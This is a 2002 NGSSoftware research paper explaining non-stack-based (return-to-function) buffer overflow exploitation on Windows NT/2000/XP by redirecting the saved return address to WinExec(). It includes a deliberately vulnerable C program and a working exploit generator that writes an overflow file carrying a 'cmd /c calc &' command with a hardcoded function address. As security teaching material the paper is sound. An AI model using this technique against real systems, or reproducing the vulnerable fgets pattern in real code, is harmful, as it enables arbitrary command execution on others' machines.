A NGSSoftware Insight Security Research Publication

# Non-stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT/2000/XP

**David Litchfield**
**(david@ngssoftware.com)**
**5th March 2002**
**www.ngssoftware.com**

## Contents



### Introduction

Most buffer overflow exploits for Windows have relied on getting code on the stack and somehow jumping process execution to there, but as more products arrive in the market to prevent such attacks from succeeding the non-stack based overflow exploit will become more and more common. This document will describe what they are and how to write one. As will be seen they are easy to write, more so than traditional stack based overflows and as they only require only an understanding of how functions are called at a low level. The non-stack based buffer overflow exploit writer doesn't even need to know assembly language.

### What is a buffer overrun?

A buffer overrun is where too much data is stuffed into a buffer in memory. If this buffer is too small to hold all of this data then the buffer overflows and critical information that controls the path of a program's execution is overwritten. An attacker can fill this buffer with their own computer code and cause the program to start executing this code rather than the code it was supposed to execute. Many good documents have been written on traditional buffer overflows - if the reader doesn't fully know or understand what a buffer overrun vulnerability is then the author suggests reading some of these before continuing here.

### How does the stack-based overflow differ from the non-stack based overflow?

With a stack based overflow computer code is stuffed into the buffer and after control of the process' execution has been gain the processor is directed to this code located on the stack. This code is machine code, the numerical representation of assembly language. A non-stack based exploit on the other hand doesn't require any code to be written. Like a stack based overflow, it requires that the saved return address on the stack is overwritten but rather than pointing the processor to an instruction that will jump back into the buffer the saved return address is overwritten with the address of a function such as WinExec() or system (). On overflow, the stack is modified in such a way that it appears to the function that will eventually be executed that it has been called normally. This requires that the parameters used by the function will be left on the stack for later use. Generally the non-stack based overflow will be considerably smaller than its stack based cousin as often the part of the buffer that precedes the section used to overwrite the saved return address is munged or removed. This leaves only buffer after this section. This is where a stack based exploit will place its code that may be hundreds of bytes in length whereas a non-stack based exploit requires only a few bytes. The non-stack based buffer overflow exploit models the way functions are passed parameters and are called to be successful.

**Calling functions under normal operation**

When a C function is called any parameters it requires are passed to it via the stack. These parameters are said to be PUSHed onto the stack and this is done before the process calls the function. Consider the following snippet of C source code.

```
..
WinExec(command,SW_HIDE);
..
```

This translates to the following assembly code

```
mov eax, 0              // Move into the eax register SW_HIDE
push eax                // push this onto the stack
lea eax, [ebp-8]        // load the effective address of the command into eax
push eax                // push this onto the stack
call WinExec            // call the function
```

As can be seen parameters are pushed onto the stack in reverse. An idealized picture of the stack just before the call operation is execute would appear as

```
-------------------------ESP
80
----
FF
----            Pointer to command to run
12
----
00
-------------------------
00
----
00
----            SW_HIDE
00
----
00
-------------------------
```

When the call operation is executed several actions happen. The contents of the Instruction Pointer (EIP) register is changed to that of the address of the procedure being called and the address following the call instruction is pushed onto the stack. Assuming the call instruction was found at address 0x00401020 then 0x00401022 will be pushed onto the stack. Consequently the ESP is decremented by 4. This address is now the saved return address and is used to keep track of the process' execution. When the called procedure returns this address is peeled off of the stack and is placed in the EIP. Execution continues from there. This now presents a picture of

```
-------------------------ESP
22
----
10
----            Saved Return Address
40
----
```

```
00

-------------------------
80
----
FF
----                Pointer to command to run
12
----
00
-------------------------
00
----
00
----                SW_HIDE
00
----
00
-------------------------
```

This is what the stack looks like to the WinExec() function. In terms of writing an non-stack based exploit this is what needs to be replicated.

**Considerations for exploitation**

On overflowing the buffer a successful exploit must first overwrite the saved return address with the address of the function the attacker wishes to call. This paper will use WinExec() as an example. Further, the stack needs to be left in a useable state for WinExec(). This requires creating a dummy saved return address after the *real* saved return address and a pointer to the command to be run. WinExec() will quite happily accept any DWORD value for the SW_* parameter so it is possible just to let it use whatever was on the stack in the first place. This negates the need to place an SW_* parameter onto the stack and also solves the problem that may occur if the pointer to the command to run has a NULL in it. If there is then it wouldn't be possible to place this parameter onto the stack, anyway, so this proves useful. All that is required then is a NULL terminated string of the command to run somewhere in memory. This may present some problems as the string used to overflow the buffer will have to be in this format:

```
        command+padding+saved_return_address+dummy_saved_return_address+parameters
+.....
```

As it is in this format the extra padding, return addresses and parameters may cause the command to be run to fail. The way to work around this problem is to run the command in a cmd shell and separate the command and the padding plus extras with an ampersand.

```
        cmd /c command &
+padding+saved_return_address+dummy_saved_return_address+parameters+.....
```

This way the extra is treated as a second command and has no bearing on the successful execution of the first command.

**Examples**

Consider the following C source code for a program called overrun.exe

```
#include <stdio.h>

int main ()
{
        char buffer[256]="";
        FILE *fd=NULL;

        fd = fopen("file.txt","rb");
        if(fd == NULL)
                return printf("Couldn't open file.txt for reading\n");
        fgets(buffer,1000,fd);
        return 0;
}
```

This program opens a file called "file.txt" and reads in up to 1000 characters into a buffer. The buffer is only 256 bytes long and as such if more than 256 characters are read in from the file the buffer will overflow. To exploit this overflow using a non-stack based exploit we need to write a program that will create a "file.txt" that contains the exploit. Here is the code.

```
#include <stdio.h>

int main()
{
        char buffer[500]="cmd /c calc &
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB";
        char sraddress[8]="\xAF\xA7\xE9\x77";
        char padding[8]="\x90\x90\x90\x90";
        char pointer_to_command[8]="\x70\x51\x2F\x00";

        FILE *fd=NULL;

        fd = fopen("file.txt","w+");

        strcat(buffer,sraddress);
        strcat(buffer,padding);
        strcat(buffer,pointer_to_command);

        fprintf(fd,"%s",buffer);
        fclose(fd);

        return 0;
}
```

As can be seen the command that will be run is "cmd /c calc". If successful, the Calculator program should start. The saved return address is overwritten with the address of WinExec. A dummy saved return address is created for the benefit of WinExec and a pointer to this whole string is tacked on to the end.

On successful exploitation the saved return address will be overwritten with the address of WinExec(). When the relevant return operation is executed the processor returns to WinExec(). WinExec ignores the dummy saved return address and picks off its parameters and proceeds to execute the command. When the WinExec function returns the program will invariably crash but by that time the attacker's supplied command should already be in the process of executing.

**Conclusion**

Non-stack based exploits are easy to write and this method can be applied to remote exploitation of buffer overflow vulnerabilities, too. If they're not already doing so network based IDS software should keep a "look out" for this kind of attack; The non-stack based exploit may end up being one of the last bastions of hope for exploitation of buffer overflow vulnerabilities.